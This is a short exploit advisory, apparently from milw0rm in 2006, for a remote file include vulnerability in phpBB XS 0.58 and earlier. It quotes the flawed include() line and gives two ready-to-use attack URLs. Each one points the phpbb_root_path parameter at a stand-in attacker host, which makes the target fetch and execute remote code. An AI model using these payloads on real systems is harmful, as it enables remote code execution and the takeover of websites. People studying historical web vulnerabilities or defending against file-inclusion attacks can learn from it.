|
phpBB XS Remote File Include Vulnerability |
|
|
|
|
Sunday, 01 October 2006 |
####################################
#phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)
####################################
#Author: XORON - SHiKaA
###################################
#URL: http://www.comscripts.com/jump.php?action=script&id=1082
##################################
#Class: Remote
###################################
#Code: include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx);
###################################
#Exploit:
http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=htt
p://evil_scripts?
http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://e
vil_scripts?
##################################
#Greetz: str0ke and AzzCoder ;)
##################################
# milw0rm.com [2006-09-28] |